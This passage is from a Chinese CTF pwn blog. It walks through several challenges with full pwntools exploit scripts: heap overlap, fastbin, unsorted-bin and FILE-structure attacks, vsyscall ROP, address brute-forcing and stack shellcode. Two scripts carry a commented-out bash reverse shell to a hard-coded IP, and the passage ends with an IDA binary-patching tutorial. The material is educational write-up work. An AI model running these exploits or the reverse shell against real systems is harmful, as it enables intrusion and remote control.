src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102131903.png"></p><h3 id="curse-note"><a href="#curse-note" class="headerlink" title="curse note"></a>curse note</h3><h4 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h4><p>这道题三个功能:new、show、delete,可以用三个note</p><p>new存在很多漏洞点:没检查分配的大小,没检查分配是不是成功,任意地址写0</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102132550.png"></p><p>show平平无奇</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102132752.png"></p><p>delete平平无奇</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102132839.png"></p><h4 id="利用方法"><a href="#利用方法" class="headerlink" title="利用方法"></a>利用方法</h4><p>利用任意地址写0构造overlap然后fastbin attack,唯一的坑点在于分配大内存后,程序就不再从mainarena分配了,而是会从threadarena分配。在threadarena里,size的最后一字节为0x00000101而非0x00000001,所以构造overlap的时候,要先将preisused位置0,再分配这块,此时这块的size的最后一字节就是4了,再free掉这块就成功overlap了。</p><pre><code class="python">from pwn import *debug=1context.log_level = 'debug'if debug: io = process("./curse_note")else: io =remote("47.97.253.115",10002)elf = ELF('./curse_note')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb :io.recv(numb)ru = lambda delims :io.recvuntil(delims)def new(index,size,info): ru("choice: ") sl("1") ru("index: ") sl(index) ru("size: ") sl(size) ru("info: ") s(info) def show(index): ru("choice: ") sl("2") ru("index: ") sl(index)def delete(index): ru("choice: ") sl("3") ru("index: ") sl(index)def exit(): sl("4")#leak libcnew(0,0x90-8,"1")new(1,0x20-8,"1")new(2,0x20-8,"1")delete(0)new(0,0x90-8,"1")show(0)leak=u64(r(16)[-8:])libc.address=leak-0x3c4b78log.success("libc : "+hex(libc.address))#leak heapdelete(1)delete(2)new(1,0x20-8,"\x00")show(1)heap=u64(r(8))log.success("heap : "+hex(heap))delete(0)delete(1)#leak thread arena basenew(0,heap+0x11,"a")new(0,0x100-8,"a")new(1,0x70-8,"a")new(2,0x100-8,"a")delete(1)new(1,0x30-8,"1")delete(0)delete(2)new(0,0x100-8,"1")show(0)thread_heap=u64(r(16)[-8:])-0x170thread_base=thread_heap-0x8b0log.success("thread heap : "+hex(thread_heap))delete(0)#overlap new(0,0x70-8,"a"*(0x70-8-8)+p64(0x170))new(2,thread_heap+0x178+1,"11111111") #preused=0new(2,0x100-8,"1111111")delete(2)delete(0)#fastbinattacknew(2,0x270-8,"a"*(0x100-8)+p64(0x75)+p64(libc.symbols['__malloc_hook']-0x23))new(0,0x70-8,"1")onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]onegadget=libc.address+onegadgets[3]c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8delete(1)new(1,0x70-8,c)delete(0)ru("choice: ")sl("1")ru("index: ")sl(0)ru("size: ")sl(0x30)io.interactive()</code></pre><h3 id="1000levels"><a href="#1000levels" class="headerlink" title="1000levels"></a>1000levels</h3><p>两个功能,go和hint</p><p>首先看hint,hint虽然不能直接打印出system的地址,但是把system的地址放在了<code>rbp-110h</code>这个地方</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191104163436.png"></p><p>go让你输入两个数字作为关卡数,如果俩数字之和超过了99,关卡数就被设置为100(题目难道不是叫做1000levels吗?啊??),算对了就让你过关。可以看到v5、v6就是刚刚system所在的地方,当然要想办法把v5用起来。可以看出v2<=0的时候v5没有被赋值,这样v5就被留下来了,当然留下来是有代价的,要创完100关才给你栈溢出的机会(system可在go里放着呢:P)</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191104162509.png"></p><p>关卡里有栈溢出:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191104162710.png"></p><h4 id="方法1-利用vsyscall构造ROP"><a href="#方法1-利用vsyscall构造ROP" class="headerlink" title="方法1-利用vsyscall构造ROP"></a>方法1-利用vsyscall构造ROP</h4><p>这题因为开了PIE,所以不知道gadget的地址,就不好构造ROP。vsyscall是一个只有ret功能的gadget,见下图(0x60是gettimeofday,不知道有啥用反正没有用),vsyscall的地址是固定的,而且我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。栈中提前存好one_gadget的地址,然后构造三次ret即可。</p><p>![image-20191102211935780](/Users/apple/Library/Application Support/typora-user-images/image-20191102211935780.png)</p><pre><code class="python">#!/usr/bin/env pythonfrom pwn import *debug=1#context.log_level = 'debug'vsyscall=0xffffffffff600000if debug: io = process('./100levels')else: io=remote("111.198.29.45",41268)libc=ELF('./libc.so.6')elf=ELF('./100levels')def go(first, more): io.recvuntil("Choice:\n") io.sendline('1') io.recvuntil("How many levels?\n") io.sendline(str(first)) io.recvuntil("Any more?\n") io.sendline(str(more))def hint(): io.recvuntil("Choice:\n") io.sendline('2')def answer(): io.recvuntil("Question:") num1=int(io.recv(3)) io.recvuntil("*") num2=int(io.recv(3)) io.recvuntil("Answer:") io.sendline(str(num1*num2))one_gadget = 0x4526asystem_offset = libc.symbols['system']hint()go(0,one_gadget - system_offset)for i in range(99): answer()io.recvuntil("Question:")num1=int(io.recv(3))io.recvuntil("*")num2=int(io.recv(3))io.recvuntil("Answer:")content=''content+='c'*48content+='b'*8content+=p64(vsyscall)*3io.send(content)io.interactive()</code></pre><h4 id="方法2-爆破ebp-leak-elf"><a href="#方法2-爆破ebp-leak-elf" class="headerlink" title="方法2-爆破ebp+leak elf"></a>方法2-爆破ebp+leak elf</h4><p>可以通过溢出ebp的后一个字节使得ebp和esp相同,在输出Question那一句的时候获得leak elf的机会。</p><p>虽然Question的两个数字被填入了随机数,但因为esp上方存的一定是上一次调用的函数的返回地址,而且栈帧已经改为ebp和esp相同,所以可以泄露ebp-4和ebp-8泄露一个返回地址出来。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191104164045.png"></p><pre><code class="python">#no aslrfrom pwn import *from LibcSearcher import *debug =1if debug: context.log_level = 'debug' io = process('./100levels')else: io = remote("111.198.29.45",44322)libc = ELF('./libc.so')elf = ELF('./100levels')s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]one_gadget=one_gadgets_ti[0]def hint(): sla('Choice:','2')def go(first,more): ru("Choice:\n") sl('1') ru("How many levels?\n") sl(str(first)) ru("Any more?\n") sl(str(more))go(2,0)ru('Answer:')s(('0\n').ljust(0x30, '\x00') + '\x00')ru("Question: ")c = int(ru(' * '))z = int(ru(' = '))elf.address = u64(p32(z) + p32(c)) & 0xfffffffff000#leak elf baseprint hex(elf.address)ru('Answer:')c=''c=c.ljust(0x8*5)c+=p64(elf.address+0xf47)#mainsl(c)hint()go(0,one_gadget - libc.symbols['system'])for i in range(99): ru("Question: ") a=int(ru('*')[:-1]) b=int(ru('=')[:-1]) ru('Answer:') sl(str(a*b))ru('Answer:')c=''c=c.ljust(0x8*7)c+=p64(elf.address+0x1030)#gadgets(c)io.interactive()</code></pre><h4 id="方法3-爆破system地址-vsyscall构造ROP"><a href="#方法3-爆破system地址-vsyscall构造ROP" class="headerlink" title="方法3-爆破system地址+vsyscall构造ROP"></a>方法3-爆破system地址+vsyscall构造ROP</h4><p>在网上找到的脚本,爆破了system的地址。</p><p>不过这个题目里的游戏只让你玩一次,无论失败还是成功都会exit(0),所以得通过vsyscall回到main函数。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191104182004.png"></p><pre><code class="python">from pwn import *p = process('./100levels')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')debug = 0if debug: context.log_level = 'debug'def hint(): p.sendlineafter('Choice:','2')def go(first,more): p.recvuntil("Choice:\n") p.sendline('1') p.recvuntil("How many levels?\n") p.sendline(str(first)) p.recvuntil("Any more?\n") p.sendline(str(more))def calc(num): p.recvuntil('Answer:') p.send(num)def leak(): start = 0x700000000390 for i in range(10,2,-1): for j in range(15,-1,-1): hint() addr_test = (1 << (i*4) )* j + start go(0,-addr_test) a = p.recvline() #print hex(addr_test) if 'Coward' not in a: start = addr_test log.info('check '+ hex(addr_test)) break pro = log.progress('go') for i in range(99): pro.status('level %d'%(i+1)) calc(p64(0)*5) calc(p64(0xffffffffff600400)*35)#vsyscall pro.success('ok') return start + 0x1000system_addr = leak()print '[+] get system addr:', hex(system_addr)system_addr_libc = libc.symbols['system']bin_sh_addr_libc = next(libc.search('/bin/sh'))bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libcgadget = system_addr - system_addr_libc + 0x21102#pop rdi retpayload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)go(1,0)exp = 'a'*0x38 + payloadcalc(exp)p.interactive()</code></pre><p>运行结果:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191104182332.png"></p><h4 id="方法4-爆破elf-myexp-1-16"><a href="#方法4-爆破elf-myexp-1-16" class="headerlink" title="方法4-爆破elf-myexp 1/16"></a>方法4-爆破elf-myexp 1/16</h4><p>栈中提前存好one_gadget的地址,改写level函数返回地址的后两个字节为pop pop ret的gadegt,有1/16的几率猜对,就能ret到one_gadget。</p><pre><code class="python">from pwn import *from LibcSearcher import *debug =1if debug: #context.log_level = 'debug' io = process('./100levels')else: io = remote("111.198.29.45",44322)libc = ELF('./libc.so')elf = ELF('./100levels')s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]one_gadget=0x4526adef hint(): sla('Choice:','2')def go(first,more): ru("Choice:\n") sl('1') ru("How many levels?\n") sl(str(first)) ru("Any more?\n") sl(str(more))while 1: try: hint() go(0,one_gadget - libc.symbols['system']) for i in range(99): ru("Question: ") a=int(ru('*')[:-1]) b=int(ru('=')[:-1]) ru('Answer:') sl(str(a*b)) ru('Answer:') #1030 #c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'" c='' c=c.ljust(0x8*7) c+='\x31\x50'#1/16 s(c) io.interactive() except: io.close() io = process('./100levels')</code></pre><p>PS:得按空格才能继续运行下一个进程,咋写能写一个真正自动化的呢:(</p><h4 id="失败的exp"><a href="#失败的exp" class="headerlink" title="失败的exp"></a>失败的exp</h4><p>本来想以栈中的变量buf作为system的参数,因为在level函数返回的时候buf的地址在rdi里,然后ret到pop pop ret就ret到了system函数,然而失败了。后来分析是因为栈里的内容是变了的,因为buf的地址在栈顶的上面。但我又不能既为了让buf不变而抬高栈顶,又ret到栈底的system,所以这种方法是行不通了的。</p><pre><code class="python">from pwn import *from LibcSearcher import *debug =1if debug: context.log_level = 'debug' io = process('./100levels')else: io=remote("111.198.29.45",44322)s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def hint(): sla('Choice:','2')def go(first,more): ru("Choice:\n") sl('1') ru("How many levels?\n") sl(str(first)) ru("Any more?\n") sl(str(more))def pwn(): hint() go(0,0) for i in range(99): ru("Question: ") a=int(ru('*')[:-1]) b=int(ru('=')[:-1]) ru('Answer:') sl(str(a*b)) gdb.attach(io) ru('Answer:') #1030 #c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'" c=str(a*b)+'\x0a'+"/bin/sh\x00" c=c.ljust(0x8*7) c+='\x31\x50'#aslr off s(c)pwn()io.interactive()</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191102203520.png"></p><p>rdi放着的是栈的地址,当后面执行的时候栈中的内容会变的。</p><h3 id="no-nx-no-pie-shellcode的两道题"><a href="#no-nx-no-pie-shellcode的两道题" class="headerlink" title="no nx/ no pie shellcode的两道题"></a>no nx/ no pie shellcode的两道题</h3><h4 id="jmp-esp-shellcode"><a href="#jmp-esp-shellcode" class="headerlink" title="jmp esp+shellcode"></a>jmp esp+shellcode</h4><p>程序中有<code>jmp esp</code>指令,覆盖返回地址为<code>jmp esp+shellcode</code>,即可跳转到栈上布置好的shellcode。</p><h4 id="无jmp-esp"><a href="#无jmp-esp" class="headerlink" title="无jmp esp"></a>无jmp esp</h4><p>通过ret一直往下覆盖,直到覆盖到栈上保存的环境变量地址,这个地址指向栈上,部分覆盖最后一个字节到buffer的偏移,执行到栈上的shellcode。</p><pre><code>while true; do ./overflow4-4834efeff17abdfb $(python -c 'print "\x90" * 32 +"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80" + "\xfb\x85\x04\x08" * 14 + "\x10" ' );done</code></pre><p>脚本里覆盖栈地址最后一个字节为<code>\x10</code>,strcpy()会在最后加上一个<code>\x00</code>字节,所以会跳到末尾是<code>\x00\x10</code>的栈地址,buffer恰巧在这个地址需要一定概率。</p><p><img src="/img/image-20191107173634825.png" alt="image-20191107173634825"></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>ByteCtf note_five 两种解法</title>
<link href="ByteCtf-note_five/"/>
<url>ByteCtf-note_five/</url>
<content type="html"><![CDATA[<p>阅读大佬的wp后复现了一下本题的多种解法</p><h3 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h3><ul><li><p>本题是一道菜单题,只有new、edit和delete功能,没有show功能。不存在UAF。</p></li><li><p>edit所用的输入函数存在Off-By-One漏洞<br><img src="https://img-blog.csdnimg.cn/20190922161945407.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"></p></li><li><p>chunk 的大小限制在 0x8f ~ 0x400</p></li></ul><h3 id="解题思路1(exp见文末)"><a href="#解题思路1(exp见文末)" class="headerlink" title="解题思路1(exp见文末)"></a>解题思路1(exp见文末)</h3><p>利用<code>Off-By-One</code>漏洞构造<code>Overlapping</code>,构造块的bk 为<code>global_max_fast -0x10</code>, <code>unsorted bin attack</code> 修改<code>global_max_fast</code>;利用 <code>stdout-0x51</code>处的 0xff 作为 chunk 的 size,<code>fast bin attack</code> 到<code>_IO_2_1_stdout_</code>附近分配chunk,修改<code>_IO_write_base</code>中的值,使它指向想要泄露的地址(stdout+0x20),泄露libc;伪造 <code>stderr</code> ,最终触发 <code>IO_flush_all</code>来 getshell。</p><p>此处只细讲泄露libc base后伪造<code>stderr</code>的部分,前面部分请看exp的注释。</p><p>伪造<code> _IO_FILE</code>需要满足的条件如下,满足其一即可:<br><img src="https://img-blog.csdnimg.cn/20190922162009172.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>一般条件1较容易构造,但因为分配的块位于<code>stdout-0x41</code>,可以同时控制<code>_IO_2_1_stderr_</code>的<code>vtable</code>和<code>wide_data</code>,所以可以构造条件2。</p><ul><li><p>stderr 本身满足 <code>fp->_vtable_offset == 0</code>,不用改</p></li><li><p>构造<code>mode</code> <code>fp->_mode > 0 </code>和<code>_wide_data</code> <code>(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))</code></p><pre><code>fake_file=''fake_file+='0'fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)#fp->_wide_datafake_file+=p64(0)fake_file+=p64(0)fake_file+=p64(0)fake_file+=p64(0x1)#fp->_mode > 0 fake_file+=p64(0x0)fake_file+=p64(0x0)fake_file+=p64(vtable_address) #fp->vtable</code></pre><p>构造的_IO_2_1_stderr_如下<br><img src="https://img-blog.csdnimg.cn/20190922162021441.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70"><br>构造的fd->_wide_data<br><img src="https://img-blog.csdnimg.cn/20190922162101705.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="构造的fd->_wide_data"></p></li><li><p>最后构造vtable,vtable->_IO_OVERFLOW为one_gadget</p><pre><code>fake_file=''fake_file+='0'fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)fake_file+=p64(0)fake_file+=p64(0)fake_file+=p64(0)#stderr->vtable->dummy nobody care |fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |fake_file+=p64(0x0)#stderr->vtable->finish nobody care |fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable</code></pre></li></ul><h3 id="解题思路2(exp见文末)"><a href="#解题思路2(exp见文末)" class="headerlink" title="解题思路2(exp见文末)"></a>解题思路2(exp见文末)</h3><p>泄露libc的方法和解题思路1一样,不再赘述;泄露libc后改<code>malloc_hook</code>为 <code>one_gadget</code>,但<code>malloc_hook</code>低地址处可用的size除了0x7f,最近的只有位于<code>__malloc_hook-0x1a1</code>的0xff,不过可以通过构造两次chunk,第1个chunk写入1个size提供给第2个chunk,最终控制malloc_hook。<br><img src="https://img-blog.csdnimg.cn/20190922162050686.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>构造第1个chunk:先free掉overlap的那块,改fd为0xff所在的地址,再malloc两次即可,然后在适当的位置(我选择的<code>__malloc_hook'-0xb8</code>)填入size(0xf1)</p><pre><code>delete(1)content0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)content0+=p64(libc.symbols['__malloc_hook']-0x1a1)edit(0,content0)new(2,0xf0-8)new(3,0xf0-8)#fake chunk 1fake_size=''fake_size+='\x00'*(0xf0-0x10+1)fake_size+=p64(0xf1)edit(3,fake_size)</code></pre><p>构造第2块还是先把overlap的那块free掉,把fd改为第一块构造size的地址<code>__malloc_hook'-0xb8</code>,再malloc两次。另外直接改malloc_hook的话rax和栈都不满足要求,加上realloc+13的偏移后rsp+0x30是0(耶)。</p><pre><code>delete(2)content0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)content0+=p64(libc.symbols['__malloc_hook']-0xb8)edit(0,content0)new(1,0xf0-8)new(1,0xf0-8)#fake chunk 2fake_mh=''fake_mh+='\x00'*(0xa0)fake_mh+=p64(one_gadget)fake_mh+=p64(libc.symbols['realloc']+13)edit(1,fake_mh)</code></pre><h3 id="本文所用exp"><a href="#本文所用exp" class="headerlink" title="本文所用exp"></a>本文所用exp</h3><h5 id="exp1"><a href="#exp1" class="headerlink" title="exp1"></a>exp1</h5><pre><code>#-*- coding:utf-8 -*-from pwn import *debug=1context.log_level = 'debug'if debug: io = process('./note_five')else: client=remote("112.126.103.195",9999)elf = ELF('./note_five')libc = ELF('./libc.so')def new(idx,size): io.recvuntil('choice>> ') io.sendline('1') io.recvuntil('idx: ') io.sendline(str(idx)) io.recvuntil('size: ') io.sendline(str(size))def edit(idx,content): io.recvuntil('choice>> ') io.sendline('2') io.recvuntil('idx: ') io.sendline(str(idx)) io.recvuntil('content: ') io.sendline(content)def delete(idx): io.recvuntil('choice>> ') io.sendline('3') io.recvuntil('idx: ') io.sendline(str(idx))#overlappingnew(4,0xf0-8)new(0,0xf0-8)new(1,0xa0-8)new(2,0xf0-8)new(3,0xf0-8)content0=''content0+='0'*(0xf0-8)content0+='\xa1'edit(0,content0)delete(0)content1=''content1+='1'*(152-8)content1+=p64(0xf0+0xa0)content1+='\xf0'edit(1,content1)content2=''content2+=p64(0xf1)*20edit(2,content2)content3=''content3+='3'*(0xf0-8)edit(3,content3)delete(2)#free (012) to unsorted binnew(0,0xf0+0xa0+0xf0-8)#malloc (012)content0=''content0+='0'*(0xf0-8)content0+='\xa1'edit(0,content0)content1=''content1+='1'*(0xa0-8)content1+='\xf1'edit(1,content1)delete(1)#free 1 to unsorted bin#guess offsetguess_offset = 3#1/16global_max_fast = (guess_offset << 12) | 0x7f8stdout = global_max_fast-0x11d8#unsorted bin attack to change global_max_fastcontent0=''content0+='0'*(0xf0-8)content0+=p64(0xa1)content0+=p64(0x0)#fdcontent0+=p16(global_max_fast-0x10)#bkedit(0,content0)new(1,0xa0-8)#global_max_fastcontent0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)edit(0,content0)#fast bin attack change the stdout leak libcbasedelete(1)content0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)content0+=p16(stdout-0x51)edit(0,content0)new(4,0xf0-8)new(4,0xf0-8)fake=''fake+='0'*0x41fake+=p64(0xfbad1800)#stdout->flagsfake+=p64(0x0)*3fake+=p16(stdout+0x20)#stdout->_IO_write_baseedit(4,fake)libc.address = u64(io.recv(8))-0x3c5640one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]one_gadget=libc.address+one_gadgets[2]#change the stderr to fake_file=''fake_file+='0'fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x40)fake_file+=p64(0)fake_file+=p64(0)fake_file+=p64(0)#stderr->vtable->dummy nobody care |fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |fake_file+=p64(0x0)#stderr->vtable->finish nobody care |fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtableedit(4,fake_file)#getshellio.recvuntil('choice>> ')io.sendline('4')#IO_flush_all to _IO_OVERFLOW to onegadgetio.interactive()</code></pre><h5 id="exp2"><a href="#exp2" class="headerlink" title="exp2"></a>exp2</h5><pre><code>#-*- coding:utf-8 -*-from pwn import *debug=1context.log_level = 'debug'if debug: io = process('./note_five.dms')else: client=remote("112.126.103.195",9999)elf = ELF('./note_five.dms')libc = ELF('./libc.so')def new(idx,size): io.recvuntil('choice>> ') io.sendline('1') io.recvuntil('idx: ') io.sendline(str(idx)) io.recvuntil('size: ') io.sendline(str(size))def edit(idx,content): io.recvuntil('choice>> ') io.sendline('2') io.recvuntil('idx: ') io.sendline(str(idx)) io.recvuntil('content: ') io.sendline(content)def delete(idx): io.recvuntil('choice>> ') io.sendline('3') io.recvuntil('idx: ') io.sendline(str(idx))#overlappingnew(4,0xf0-8)new(0,0xf0-8)new(1,0xa0-8)new(2,0xf0-8)new(3,0xf0-8)content0=''content0+='0'*(0xf0-8)content0+='\xa1'edit(0,content0)delete(0)content1=''content1+='1'*(152-8)content1+=p64(0xf0+0xa0)content1+='\xf0'edit(1,content1)content2=''content2+=p64(0xf1)*20edit(2,content2)content3=''content3+='3'*(0xf0-8)edit(3,content3)delete(2)#free (012) to unsorted binnew(0,0xf0+0xa0+0xf0-8)#malloc (012)content0=''content0+='0'*(0xf0-8)content0+='\xa1'edit(0,content0)content1=''content1+='1'*(0xa0-8)content1+='\xf1'edit(1,content1)delete(1)#free 1 to unsorted bin#guess offsetguess_offset = 3#1/16global_max_fast = (guess_offset << 12) | 0x7f8stdout = global_max_fast-0x11d8#unsorted bin attack to change global_max_fastcontent0=''content0+='0'*(0xf0-8)content0+=p64(0xa1)content0+=p64(0x0)#fdcontent0+=p16(global_max_fast-0x10)#bkedit(0,content0)new(1,0xa0-8)#global_max_fastcontent0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)edit(0,content0)#fast bin attack change the stdout leak libcbasedelete(1)content0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)content0+=p16(stdout-0x51)edit(0,content0)new(1,0xf0-8)new(4,0xf0-8)fake=''fake+='0'*0x41fake+=p64(0xfbad1800)#stdout->flagsfake+=p64(0x0)*3fake+=p16(stdout+0x20)#stdout->_IO_write_baseedit(4,fake)libc.address = u64(io.recvuntil('info')[0:8])-0x3c5640one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]#rax 30 50 70one_gadget=libc.address+one_gadgets[1]#change malloc_hookdelete(1)content0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)content0+=p64(libc.symbols['__malloc_hook']-0x1a1)edit(0,content0)new(2,0xf0-8)new(3,0xf0-8)#fake chunk 1fake_size=''fake_size+='\x00'*(0xf0-0x10+1)fake_size+=p64(0xf1)edit(3,fake_size)delete(2)content0=''content0+='@'*(0xf0-8)content0+=p64(0xf1)content0+=p64(libc.symbols['__malloc_hook']-0xb8)edit(0,content0)new(1,0xf0-8)new(1,0xf0-8)#fake chunk 2fake_mh=''fake_mh+='\x00'*(0xa0)fake_mh+=p64(one_gadget)fake_mh+=p64(libc.symbols['realloc']+13)edit(1,fake_mh)#getshellnew(4,1000)io.interactive()</code></pre>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>IDA打patch学习小结</title>
<link href="IDA-patch/"/>
<url>IDA-patch/</url>
<content type="html"><![CDATA[<h3 id="keypatch基本使用"><a href="#keypatch基本使用" class="headerlink" title="keypatch基本使用"></a>keypatch基本使用</h3><p>keypatch是用来辅助打patch的一个插件。IDA本身有简单的patch功能,可以写十六进制和汇编语句。keypatch提供的功能主要是可以即时显示汇编语句的十六进制,你可以知道你的汇编占多少字节,打完patch后在它把原汇编备注在旁边,它还可以帮你计算跳转偏移。</p><p><img src="/img/image-20220521155821544.png" alt="image-20220521155821544"></p><p><strong>Edit -> Keypatch -> Patcher</strong></p><p>选中一行指令patch</p><p>可以输入汇编代码 nop啥的。</p><p><strong>Edit -> Keypatch -> Fill Range</strong></p><p>选中一定范围的指令一起patch</p><p>可以输入汇编代码,也可以输入16进制 “90” “0x90” “90,91” “AAh”等。</p><p><strong>Edit -> Patch program -> Apply patches to input file</strong></p><p>撤消上一个操作,而且可以撤销多次(好像是无限制?亲测20次还是能继续撤销</p><p><strong>Edit -> Patch program -> Apply patches to input file</strong></p><p>将修改保存到一个新的二进制文件(这是ida原本就有的功能</p><p><strong>Edit -> Keypatch -> Search</strong></p><p>可以搜索汇编指令,不能直接搜索16进制,多条指令用 <code>;</code> 分隔</p><p><img src="/img/20190816211658.png"></p><h3 id="awd里的打patch技巧"><a href="#awd里的打patch技巧" class="headerlink" title="awd里的打patch技巧"></a>awd里的打patch技巧</h3><h4 id="UAF"><a href="#UAF" class="headerlink" title="UAF"></a>UAF</h4><p>增加置0的代码,新增的代码可以放在<code>.eh_frame</code>段里,<code>call free</code>改成<code>call 置0代码的地址</code>。</p><p>例如:修复前:</p><p><img src="/img/image-20220521162816325.png" alt="image-20220521162816325"></p><p>修复后:</p><p><img src="/img/image-20220521162827089.png" alt="image-20220521162827089"></p><p><img src="/img/image-20220521162849688.png" alt="image-20220521162849688"></p><p>再次翻阅时发现我写的patch相当傻,t1an5t师傅<a href="https://tianstcht.github.io/pwn%E9%87%8C%E7%9A%84%E4%B8%80%E4%BA%9Bpatch%E5%BF%83%E5%BE%97/">是这么写的</a>,很简洁标准。</p><pre><code>call free;lea rax, qword_2032A0;add rax, rdx;mov qword ptr [rax], 0;ret; </code></pre><p>这里lea rax, xxxx由七个字节构成,其中lea rax部分由三字节构成:48 8d 05。</p><p>后面接四字节的偏移值,计算方法为:</p><pre><code>offset = target - (start + 7)</code></pre><p>keypatch算偏移有时会出现错误,手动算偏移方法是:</p><blockquote><p>call的固定长度为5个字节,跳转指令若目的地址大于当前地址且为近地址跳转的时候,为2个字节,否则为5个字节。</p></blockquote><p>(1)要到达的地址高于当前地址,这种比较好计算:(这个5不是因为call指令占5个字节,当前指令无论是多少字节这个偏移都是5)</p><pre><code>offset = target - (start + 5) </code></pre><p>(2)是要到达的地址低于当前地址,计算如下:</p><pre><code>offset = 0xffffffff + 1 - (start + 5 - target) </code></pre><p> 例如,从0x400AC2的<code>call puts</code>跳到0x400A4B,指令是<code>E8 84 FF FF FF</code></p><pre><code>p/x 0xffffffff + 1 - (0x400AC2 + 5 - 0x400A4B)$1 = 0xffffff84</code></pre><p><img src="/img/image-20220521170419550.png" alt="image-20220521170419550"></p><p>还有一个发现是,虽然<code>.eh_frame</code>段在IDA的Segmentation里看到的权限只有R,但是实际测试发现,写在里面的代码是可以执行的,可能是因为<code>.eh_frame</code>段就在代码段的下方,映射的时候和代码段在同一个页里,而权限又是一整页的属性,所以实际上<code>.eh_frame</code>段是可以执行的。</p><p><img src="/img/image-20220521165034862.png" alt="image-20220521165034862"></p><h4 id="栈溢出"><a href="#栈溢出" class="headerlink" title="栈溢出"></a>栈溢出</h4><p>改读的字节数 